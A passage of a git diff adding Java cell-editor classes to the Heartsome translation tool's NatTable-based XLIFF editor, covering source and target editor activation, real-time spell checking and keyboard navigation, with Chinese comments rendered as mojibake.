static RealTimeSpellCheckTrigger spellTrigger; + /** 当点以如下标点结尾时,触å‘实时拼写检查 robert */ + private static final String ENDREGEX = "[ ,.;!?,。;ï¼ï¼Ÿ]"; + + public static void activeSourceAndTargetCell(XLIFFEditorImplWithNatTable xliffEditor) { + if (xliffEditor == null) { + return; + } + int[] selectedRowIndexs = xliffEditor.getSelectedRows(); + if (selectedRowIndexs.length == 0) { + return; + } + Arrays.sort(selectedRowIndexs); + int rowIndex = selectedRowIndexs[selectedRowIndexs.length - 1]; + if (!xliffEditor.isHorizontalLayout()) { + rowIndex = rowIndex * 2; // source index + } + + NatTable natTable = xliffEditor.getTable(); + IConfigRegistry configRegistry = natTable.getConfigRegistry(); + ViewportLayer vLayer = LayerUtil.getLayer(natTable, ViewportLayer.class); + int rowPosition = vLayer.getRowPositionByIndex(rowIndex); + rowPosition += 1; + if (rowPosition < 1) { + return; + } + + int columnIndex = xliffEditor.getSrcColumnIndex(); + HsMultiCellEditor srcCellEditor = activeCell(vLayer, xliffEditor, configRegistry, columnIndex, rowIndex, + rowPosition, NatTableConstant.SOURCE); + if (srcCellEditor == null) { + return; + } + + if (!xliffEditor.isHorizontalLayout()) { + rowIndex = rowIndex + 1; // target + rowPosition = vLayer.getRowPositionByIndex(rowIndex); + rowPosition += 1; + if (rowPosition < 1) { + return; + } + } + columnIndex = xliffEditor.getTgtColumnIndex(); + HsMultiCellEditor tgtCellEditor = activeCell(vLayer, xliffEditor, configRegistry, columnIndex, rowIndex, + rowPosition, NatTableConstant.TARGET); + if (tgtCellEditor == null) { + return; + } + HsMultiActiveCellEditor.activateCellEditors(srcCellEditor, tgtCellEditor, natTable); + + // 目标文本段一进入焦点就进行一次拼写检查 robert 2013-01-22 + // UNDO 这里错误å•è¯æ示并没有修改颜色。 + String tgtLang = xliffEditor.getTgtColumnName(); + spellTrigger = RealTimeSpellCheckTrigger.getInstance(); + if (spellTrigger != null && spellTrigger.checkSpellAvailable(tgtLang)) { + tgtTextFirstRealTimeSpellCheck(tgtLang, tgtCellEditor); + tgtTextRealTimeSpellCheck(tgtLang, tgtCellEditor); + } + } + + /** + * 当一个文本段åˆæ¬¡èŽ·å–焦点时,实时进行拼写检查,
    该方法与{@link tgtTextRealTimeSpellCheck} 类似
    + */ + private static void tgtTextFirstRealTimeSpellCheck(final String tgtLang, HsMultiCellEditor targetEditor){ + final StyledTextCellEditor tgtEditor = targetEditor.getCellEditor(); + final StyledText text = tgtEditor.getSegmentViewer().getTextWidget(); + if (tgtLang == null) { + return; + } + String tgtText = text.getText(); + if (tgtText == null || "".equals(tgtText.trim())) { + return; + } + List errorWordList = new LinkedList(); + errorWordList = spellTrigger.getErrorWords(tgtText, tgtLang); + if (errorWordList != null && errorWordList.size() > 0) { + targetEditor.highLightedErrorWord(tgtText, errorWordList); + }else { + targetEditor.refreshErrorWordsStyle(null); + } + } + + /** + * 当文本处于正在编辑时,实时进行拼写检查,
    该方法与{@link #tgtTextFirstRealTimeSpellCheck} 类似
    + */ + private static void tgtTextRealTimeSpellCheck(final String tgtLang, final HsMultiCellEditor targetEditor){ + final StyledTextCellEditor tgtEditor = targetEditor.getCellEditor(); + final StyledText text = tgtEditor.getSegmentViewer().getTextWidget(); + if (tgtLang == null) { + return; + } + text.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + String tgtText = text.getText(); + + if(tgtText.isEmpty()){ + return; + } + + String endStr = tgtText.substring(tgtText.length() - 1, tgtText.length()); + if (endStr.matches(ENDREGEX)) { + List errorWordList = new LinkedList(); + errorWordList = spellTrigger.getErrorWords(tgtText, tgtLang); + if (errorWordList != null && errorWordList.size() > 0) { + targetEditor.highLightedErrorWord(tgtText, errorWordList); + }else { + targetEditor.refreshErrorWordsStyle(null); + } + } + } + }); + } + + private static HsMultiCellEditor activeCell(ViewportLayer vLayer, XLIFFEditorImplWithNatTable xliffEditor, + IConfigRegistry configRegistry, int columnIndex, int rowIndex, int rowPosition, String cellType) { + NatTable natTable = xliffEditor.getTable(); + int columnPosition = vLayer.getColumnPositionByIndex(columnIndex); + + LayerCell cell = natTable.getCellByPosition(columnPosition, rowPosition); + if (cell == null) { + return null; + } + Rectangle cellBounds = cell.getBounds(); + List configLabels = cell.getConfigLabels().getLabels(); + if (!xliffEditor.isHorizontalLayout()) { + if (cellType.equals(NatTableConstant.SOURCE)) { + configLabels.remove(XLIFFEditorImplWithNatTable.TARGET_EDIT_CELL_LABEL); + } else if (cellType.equals(NatTableConstant.TARGET)) { + configLabels.remove(XLIFFEditorImplWithNatTable.SOURCE_EDIT_CELL_LABEL); + } + } + ILayer layer = cell.getLayer(); + Object originalCanonicalValue = cell.getDataValue(); + + IDisplayConverter displayConverter = configRegistry.getConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, + DisplayMode.EDIT, configLabels); + IStyle cellStyle = new CellStyleProxy(configRegistry, DisplayMode.EDIT, configLabels); + IDataValidator dataValidator = configRegistry.getConfigAttribute(EditConfigAttributes.DATA_VALIDATOR, + DisplayMode.EDIT, configLabels); + + Rectangle editorBounds = layer.getLayerPainter().adjustCellBounds( + new Rectangle(cellBounds.x, cellBounds.y, cellBounds.width, cellBounds.height)); + + int cellStartY = cellBounds.y; + int cellEndY = cellStartY + cellBounds.height; + Rectangle clientArea = natTable.getClientAreaProvider().getClientArea(); + int clientAreaEndY = clientArea.y + clientArea.height; + if(cellEndY > clientAreaEndY){ + editorBounds.height = clientAreaEndY - cellStartY; + } + + StyledTextCellEditor cellEditor = (StyledTextCellEditor) configRegistry.getConfigAttribute( + EditConfigAttributes.CELL_EDITOR, DisplayMode.EDIT, configLabels); + ICellEditHandler editHandler = new HsMultiCellEditorHandler(cellEditor, layer, columnPosition, rowPosition); + + HsMultiCellEditor hsCellEditor = new HsMultiCellEditor(cellType, cellEditor, editHandler, columnPosition, + rowPosition, columnIndex, rowIndex, dataValidator, originalCanonicalValue, displayConverter, cellStyle, + editorBounds); + + return hsCellEditor; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditorHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditorHandler.java new file mode 100644 index 0000000..776f3cc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditorHandler.java @@ -0,0 +1,61 @@ +/** + * HsMultiCellEditorHandler.java + * + * Version information : + * + * Date:2012-12-18 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.edit.command.UpdateDataCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HsMultiCellEditorHandler implements ICellEditHandler { + + private final StyledTextCellEditor cellEditor; + private final ILayer layer; + private final int columnPosition; + private final int rowPosition; + + public HsMultiCellEditorHandler(StyledTextCellEditor cellEditor, ILayer layer, int columnPosition, int rowPosition) { + this.cellEditor = cellEditor; + this.layer = layer; + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + } + + /** + * Just commit the data, will not close the editor control + * @see net.sourceforge.nattable.edit.ICellEditHandler#commit(net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum, boolean) + */ + public boolean commit(MoveDirectionEnum direction, boolean closeEditorAfterCommit) { + switch (direction) { + case LEFT: + layer.doCommand(new MoveSelectionCommand(MoveDirectionEnum.LEFT, 1, false, false)); + break; + case RIGHT: + layer.doCommand(new MoveSelectionCommand(MoveDirectionEnum.RIGHT, 1, false, false)); + break; + } + + if (cellEditor.isEditable()) { + Object canonicalValue = cellEditor.getCanonicalValue(); + layer.doCommand(new UpdateDataCommand(layer, columnPosition, rowPosition, canonicalValue)); + } + return true; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/NatTableConstant.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/NatTableConstant.java new file mode 100644 index 0000000..3c6880e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/NatTableConstant.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +public class NatTableConstant { + + /** æºæ–‡æœ¬çš„标识 */ + public static String SOURCE = "source.value"; + + /** 目标文本的标识 */ + public static String TARGET = "target.value"; + + /** 添加/编辑批注对è¯æ¡†ä¸­çš„下拉框显示内容 */ + public static final String CURRENT_TEXT = Messages.getString("editor.NatTableConstant.CURRENT_TEXT"); + + /** 添加/编辑批注对è¯æ¡†ä¸­çš„下拉框显示内容 */ + public static final String ALL_TEXT = Messages.getString("editor.NatTableConstant.ALL_TEXT"); + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/StyledTextCellEditor.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/StyledTextCellEditor.java new file mode 100644 index 0000000..abbc378 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/StyledTextCellEditor.java @@ -0,0 +1,682 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import java.util.HashSet; + +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.innertag.ISegmentViewer; +import net.heartsome.cat.ts.ui.innertag.SegmentViewer; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.AddSegmentToTMPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.SignOffPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.UnTranslatedPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.edit.editor.EditorSelectionEnum; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; +import net.sourceforge.nattable.selection.command.ScrollSelectionCommand; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.text.DocumentEvent; +import org.eclipse.jface.text.IDocumentListener; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ST; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.custom.VerifyKeyListener; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.events.VerifyEvent; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.IME; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.PlatformUI; + +/** + * 基于 StyledText çš„å•å…ƒæ ¼ç¼–辑器。
    + *
  • 使用 {@link #setText(Object)} 方法设置其值。
  • + * @author weachy + * @since JDK1.5 + */ +public class StyledTextCellEditor implements DisposeListener, ICellEditor { + + public StyledTextCellEditor(XLIFFEditorImplWithNatTable xliffEditor) { + this.xliffEditor = xliffEditor; + this.actionHandler = new XLIFFEditorActionHandler(xliffEditor.getEditorSite().getActionBars()); + } + + private EditorSelectionEnum selectionMode = EditorSelectionEnum.ALL; + + /** å°è£…StyledText,æ供撤销/é‡åšç®¡ç†å™¨çš„组件. */ + protected SegmentViewer viewer = null; + + /** XLIFF 编辑器实例 */ + private final XLIFFEditorImplWithNatTable xliffEditor; + + /** å•å…ƒæ ¼ç±»åž‹ã€‚值为 {@link NatTableConstant#SOURCE}ã€{@link NatTableConstant#TARGET}之一 */ + private String cellType; + + /** + * 得到å•å…ƒæ ¼ç±»åž‹ + * @return 值为 {@link NatTableConstant#SOURCE}ã€{@link NatTableConstant#TARGET} 之一; + */ + public String getCellType() { + return cellType; + } + + public final void setSelectionMode(EditorSelectionEnum selectionMode) { + this.selectionMode = selectionMode; + } + + public final EditorSelectionEnum getSelectionMode() { + return selectionMode; + } + + /** + * 用于标识编辑器关闭状æ€
    + * @see net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable#selectedRowChanged() + * @see net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor.addListeners().new IPartListener2() + * {...}.partActivated(IWorkbenchPartReference partRef) + */ + private boolean close = true; + + /** 关闭监å¬å™¨ */ + private HashSet closingListeners = new HashSet(); + + /** + * 添加关闭å•å…ƒæ ¼å…³é—­æ—¶çš„监å¬å™¨ + * @param closeListener + * 关闭监å¬å™¨ ; + */ + public void addClosingListener(Listener closeListener) { + if (closeListener == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + closingListeners.add(closeListener); + } + + /** + * 移除关闭å•å…ƒæ ¼å…³é—­æ—¶çš„监å¬å™¨ + * @param closeListener + * 关闭监å¬å™¨ ; + */ + public void removeClosingListener(Listener closeListener) { + for (Listener listener : closingListeners) { + if (listener != null && listener.equals(closeListener)) { + closingListeners.remove(listener); + break; + } + } + } + + /** 绑定全局 Edit èœå•çš„处ç†ç±» */ + private XLIFFEditorActionHandler actionHandler; + + /** æºæ–‡æœ¬çš„值 */ + private String source; + + /** å¯ç¼–辑状æ€ç®¡ç†å™¨ */ + private EditableManager editableManager = new EditableManager(cellType == NatTableConstant.SOURCE) { + @Override + protected void setupReadOnlyMode() { + checkWidget(); + + StyledText text = viewer.getTextWidget(); + if (!close) { + if (!editable) { + return; + } + text.removeVerifyKeyListener(edit_VerifyKey); + text.removeTraverseListener(edit_Traverse); + } + editable = false; + text.setEditable(false); + text.addVerifyKeyListener(readOnly_VerifyKey); + } + + @Override + protected void setupEditMode() { + checkWidget(); + + StyledText text = viewer.getTextWidget(); + if (!close) { + if (editable) { + return; + } + text.removeVerifyKeyListener(readOnly_VerifyKey); + } + editable = true; + text.setEditable(true); + text.addVerifyKeyListener(edit_VerifyKey); + text.addTraverseListener(edit_Traverse); + } + + @Override + public void judgeEditable() { + checkWidget(); + + if (isApprovedOrLocked()) { + setupReadOnlyMode(); + setUneditableMessage(Messages.getString("editor.StyledTextCellEditor.msg1")); + } else { + if (cellType == NatTableConstant.SOURCE) { + if (getSourceEditMode() != SourceEditMode.DISEDITABLE) { + setupEditMode(); + } else { + setupReadOnlyMode(); + setUneditableMessage(Messages.getString("editor.StyledTextCellEditor.msg2")); + } + } else if (cellType == NatTableConstant.TARGET) { + setupEditMode(); + } + } + } + + public void checkWidget() { + StyledText text = viewer.getTextWidget(); + if (text == null || text.isDisposed()) { + SWT.error(SWT.ERROR_FAILED_EVALUATE); + } + } + }; + + /** + * 是å¦å¯ç¼–辑 + * @return ; + */ + public boolean isEditable() { + return editableManager.getEditable(); + } + + /** + * 是å¦æ‰¹å‡†æˆ–者é”定 + * @return ; + */ + public boolean isApprovedOrLocked() { + int rowIndex = hsCellEditor.getRowIndex(); + if (rowIndex == -1) { + return true; + } + if (!xliffEditor.isHorizontalLayout()) { // 是垂直布局 + rowIndex = rowIndex / VerticalNatTableConfig.ROW_SPAN; // 得到实际的行索引 + } + TransUnitBean tu = xliffEditor.getRowTransUnitBean(rowIndex); + String translate = tu.getTuProps().get("translate"); + if (translate != null && "no".equalsIgnoreCase(translate)) { + return true; + } + return false; + } + + /** + * 得到å¯ç¼–辑状æ€ç®¡ç†å™¨ + * @return ; + */ + public EditableManager getEditableManager() { + return editableManager; + } + + private HsMultiCellEditor hsCellEditor; + + protected Control activateCell(final Composite parent, HsMultiCellEditor hsCellEditor) { + this.hsCellEditor = hsCellEditor; + StyledText text = createTextControl(parent); + text.setBounds(hsCellEditor.getEditorBounds()); + // analyzeCellType(); // 分æžå•å…ƒæ ¼ç±»åž‹ã€‚ + this.cellType = hsCellEditor.getType(); + if (cellType == NatTableConstant.TARGET) { + this.source = HsMultiActiveCellEditor.getSourceEditor().getOriginalCanonicalValue().toString(); + viewer.setSource(source); // 设置原文本,用æ¥è§£æžå†…部标记 + } + + editableManager.judgeEditable(); // 判断“å¯ç¼–辑â€çŠ¶æ€; + + // If we have an initial value, then + Object originalCanonicalValue = this.hsCellEditor.getOriginalCanonicalValue(); + if (originalCanonicalValue != null) { + setCanonicalValue(new UpdateDataBean(originalCanonicalValue.toString(), null, null)); + } else { + setCanonicalValue(new UpdateDataBean()); + } + + // 改å˜å…³é—­çŠ¶æ€æ ‡è¯† + close = false; + xliffEditor.getTable().addDisposeListener(this); + + text.forceFocus(); + + // åˆå§‹åŒ–撤销/é‡åšç®¡ç†å™¨ï¼Œè®¾ç½®æ­¥é•¿ä¸º 50。 + viewer.initUndoManager(50); + // 绑定全局 Edit èœå• + actionHandler.addTextViewer(viewer); + text.addKeyListener(movedKeyListener); + + // 移除å‘上和å‘下键默认事件处ç†ï¼Œå°†æ­¤éƒ¨åˆ†å®žçŽ°æ”¾åˆ°upAndDownKeyListener监å¬ä¸­ + text.setKeyBinding(SWT.ARROW_DOWN, SWT.NULL); + text.setKeyBinding(SWT.ARROW_UP, SWT.NULL); + return text; + } + + public XLIFFEditorActionHandler getActionHandler() { + return actionHandler; + } + + /** + * 目标编辑器中需è¦è®¾ç½®åŽŸæ–‡æœ¬ï¼Œç”¨æ¥è§£æžå†…部标记 + * @param source + * 带有内部标记内容的æºæ–‡æœ¬å†…容 ; + */ + public void setSource(String source) { + this.source = source; + } + + private VerifyKeyListener readOnly_VerifyKey = new VerifyKeyListener() { + public void verifyKey(VerifyEvent event) { + showUneditableMessage(); + } + }; + + private VerifyKeyListener edit_VerifyKey = new VerifyKeyListener() { + public void verifyKey(VerifyEvent event) { + NattableUtil.refreshCommand(AddSegmentToTMPropertyTester.PROPERTY_NAMESPACE, + AddSegmentToTMPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(SignOffPropertyTester.PROPERTY_NAMESPACE, + SignOffPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(UnTranslatedPropertyTester.PROPERTY_NAMESPACE, + UnTranslatedPropertyTester.PROPERTY_ENABLED); + } + }; + + private TraverseListener edit_Traverse = new TraverseListener() { + public void keyTraversed(TraverseEvent event) { + // StyledText text = viewer.getTextWidget(); + // text.gettext + } + }; + + /** + * 实现编辑模å¼ä¸Šä¸‹ç§»åŠ¨å…‰æ ‡åˆ°åº•éƒ¨æˆ–者顶部时自动移动到下一行 + */ + private KeyListener movedKeyListener = new KeyListener() { + public void keyReleased(KeyEvent e) { + } + + public void keyPressed(KeyEvent e) { + if (e.keyCode == SWT.ARROW_DOWN && e.stateMask == SWT.NONE) { + StyledText text = viewer.getTextWidget(); + int oldOffset = text.getCaretOffset(); + text.invokeAction(ST.LINE_DOWN); + int newOffset = text.getCaretOffset(); + if (oldOffset == newOffset) { + SelectionLayer selectionLayer = LayerUtil.getLayer(xliffEditor.getTable(), SelectionLayer.class); + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if (rowPosition != selectionLayer.getRowCount() - 1) { // å‡åŽ»åˆ—头行 + HsMultiActiveCellEditor.commit(true); + xliffEditor.getTable().doCommand( + new MoveSelectionCommand(MoveDirectionEnum.DOWN, 1, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + } + } else if (e.keyCode == SWT.ARROW_UP && e.stateMask == SWT.NONE) { + StyledText text = viewer.getTextWidget(); + int oldOffset = text.getCaretOffset(); + text.invokeAction(ST.LINE_UP); + int newOffset = text.getCaretOffset(); + if (oldOffset == newOffset) { + SelectionLayer selectionLayer = LayerUtil.getLayer(xliffEditor.getTable(), SelectionLayer.class); + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if (rowPosition != 0) { + HsMultiActiveCellEditor.commit(true); + xliffEditor.getTable().doCommand( + new MoveSelectionCommand(MoveDirectionEnum.UP, 1, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + } + } else if (e.keyCode == SWT.PAGE_UP && e.stateMask == SWT.NONE) { + SelectionLayer selectionLayer = LayerUtil.getLayer(xliffEditor.getTable(), SelectionLayer.class); + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if (rowPosition != 0) { + HsMultiActiveCellEditor.commit(true); + xliffEditor.getTable().doCommand(new ScrollSelectionCommand(MoveDirectionEnum.UP, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + } else if (e.keyCode == SWT.PAGE_DOWN && e.stateMask == SWT.NONE) { + SelectionLayer selectionLayer = LayerUtil.getLayer(xliffEditor.getTable(), SelectionLayer.class); + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if (rowPosition != selectionLayer.getRowCount() - 1) { + HsMultiActiveCellEditor.commit(true); + xliffEditor.getTable().doCommand(new ScrollSelectionCommand(MoveDirectionEnum.DOWN, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + } else if (e.keyCode == SWT.HOME && e.stateMask == SWT.CTRL) { + HsMultiActiveCellEditor.commit(true); + xliffEditor.getTable().doCommand( + new MoveSelectionCommand(MoveDirectionEnum.UP, SelectionLayer.MOVE_ALL, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } else if (e.keyCode == SWT.END && e.stateMask == SWT.CTRL) { + HsMultiActiveCellEditor.commit(true); + xliffEditor.getTable().doCommand( + new MoveSelectionCommand(MoveDirectionEnum.DOWN, SelectionLayer.MOVE_ALL, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + } + }; + + private void autoResize() { + HsMultiActiveCellEditor.synchronizeRowHeight(); + } + + /** + * 显示ä¸å¯ç¼–辑信æ¯ã€‚ + */ + public void showUneditableMessage() { + viewer.setToolTipMessage(editableManager.getUneditableMessage()); + } + + private void selectText() { + StyledText text = viewer.getTextWidget(); + if (text == null || text.isDisposed()) { + return; + } + // viewer.setSelectedRange(selectionOffset, selectionLength) + int textLength = text.getText().length(); + if (textLength > 0) { + EditorSelectionEnum selectionMode = getSelectionMode(); + if (selectionMode == EditorSelectionEnum.ALL) { + text.setSelection(0, textLength); + } else if (selectionMode == EditorSelectionEnum.END) { + text.setSelection(textLength, textLength); + } + } + text.setCaretOffset(textLength); + } + + protected StyledText createTextControl(Composite parent) { + TagStyleManager tagStyleManager = xliffEditor.getTagStyleManager(); + + IStyle cellStyle = this.hsCellEditor.getCellStyle(); + int styled = HorizontalAlignmentEnum.getSWTStyle(cellStyle); + styled |= SWT.MULTI | SWT.WRAP; + viewer = new SegmentViewer(parent, styled, tagStyleManager.getTagStyle()); + + // 添加标记样å¼æ”¹å˜ç›‘å¬ + addTagStyleChangeListener(); + + // 注册标记样å¼è°ƒèŠ‚器 + net.heartsome.cat.ts.ui.innertag.tagstyle.TagStyleConfigurator.configure(viewer); + // TagStyleConfigurator.configure(viewer); + + // 将原æ¥ç›´æŽ¥åˆ›å»ºStyledTextçš„æ–¹å¼æ”¹ä¸ºç”±TextVieweræä¾› + final StyledText textControl = viewer.getTextWidget(); + initStyle(textControl, cellStyle); + textControl.addFocusListener(new FocusListener() { + + public void focusLost(FocusEvent e) { + } + + public void focusGained(FocusEvent e) { + getActionHandler().updateGlobalActionHandler(); + } + }); + + viewer.getDocument().addDocumentListener(new IDocumentListener() { + + public void documentChanged(DocumentEvent e) { + // 自动行高 + autoResize(); + } + + public void documentAboutToBeChanged(DocumentEvent event) { + + } + }); + + // 实现编辑模å¼ä¸‹æ·»åŠ å³é”®èœå• + // dispose textControlå‰åº”去掉å³é”®menu,因为å³é”®menu是和nattable共享的,ä¸èƒ½åœ¨è¿™å„¿dispose,说è§close()方法 + final Menu menu = (Menu) xliffEditor.getTable().getData(Menu.class.getName()); + textControl.setMenu(menu); + + return textControl; + } + + /** + * åˆå§‹åŒ–默认颜色ã€å­—体等 + * @param textControl + * ; + */ + private void initStyle(final StyledText textControl, IStyle cellStyle) { + // textControl.setBackground(cellStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR)); + textControl.setBackground(GUIHelper.getColor(210, 210, 240)); + textControl.setForeground(cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR)); + + textControl.setLineSpacing(Constants.SEGMENT_LINE_SPACING); + textControl.setLeftMargin(Constants.SEGMENT_LEFT_MARGIN); + textControl.setRightMargin(Constants.SEGMENT_RIGHT_MARGIN); + textControl.setTopMargin(Constants.SEGMENT_TOP_MARGIN); + textControl.setBottomMargin(Constants.SEGMENT_TOP_MARGIN); + + // textControl.setLeftMargin(0); + // textControl.setRightMargin(0); + // textControl.setTopMargin(0); + // textControl.setBottomMargin(0); + + textControl.setFont(JFaceResources.getFont(net.heartsome.cat.ts.ui.Constants.XLIFF_EDITOR_TEXT_FONT)); + textControl.setIME(new IME(textControl, SWT.NONE)); + + } + + /** + * 添加标记样å¼æ”¹å˜ç›‘å¬ ; + */ + private void addTagStyleChangeListener() { + final TagStyleManager tagStyleManager = xliffEditor.getTagStyleManager(); + final Listener tagStyleChangeListener = new Listener() { + public void handleEvent(Event event) { + if (event.data != null && event.data instanceof TagStyle) { + viewer.setTagStyle((TagStyle) event.data); + } + } + }; + tagStyleManager.addTagStyleChangeListener(tagStyleChangeListener); + + viewer.getTextWidget().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + tagStyleManager.removeTagStyleChangeListener(tagStyleChangeListener); + } + }); + } + + /** + * 得到当å‰çš„值(内部标记被转æ¢ä¸º XML æ ¼å¼ï¼‰ + * @return ; + */ + public Object getCanonicalValue() { + String content = viewer.getText(); + if (!content.equals(canonicalValue.getText())) { + canonicalValue.setMatchType(null); + canonicalValue.setQuality(null); + } + canonicalValue.setText(content); + return canonicalValue; + } + + private UpdateDataBean canonicalValue; + + public void setCanonicalValue(Object canonicalValue) { + this.canonicalValue = (UpdateDataBean) canonicalValue; + String text = this.canonicalValue == null ? "" : this.canonicalValue.getText(); // ä¿ç•™åŽŸå§‹å€¼ + // åˆå§‹åŒ– viewer 内容 + viewer.setText(text); + + selectionMode = EditorSelectionEnum.END; + selectText(); + } + + /** + * 将指定文本添加到光标所在ä½ç½®ã€‚ robert 2011-12-21 + * @param canonicalValue + * ; + */ + public void insertCanonicalValue(Object canonicalValue) { + StyledText text = viewer.getTextWidget(); + if (text == null || text.isDisposed()) { + return; + } + + int offset = text.getCaretOffset(); + text.insert(canonicalValue.toString()); + text.setCaretOffset(offset + canonicalValue.toString().length()); + } + + public void close() { + if (close) { + return; + } + + for (Listener listener : closingListeners) { + Event event = new Event(); + event.data = this; + listener.handleEvent(event); + } + + close = true; // 状æ€æ”¹ä¸ºå·²ç»å…³é—­ + xliffEditor.getTable().removeDisposeListener(this); + + StyledText text = viewer.getTextWidget(); + if (text != null && !text.isDisposed()) { + actionHandler.removeTextViewer(); + text.setMenu(null); // disposeå‰åº”去掉å³é”®menu,因为å³é”®menu是和nattable共享的 + viewer.reset(); + text.dispose(); + text = null; + 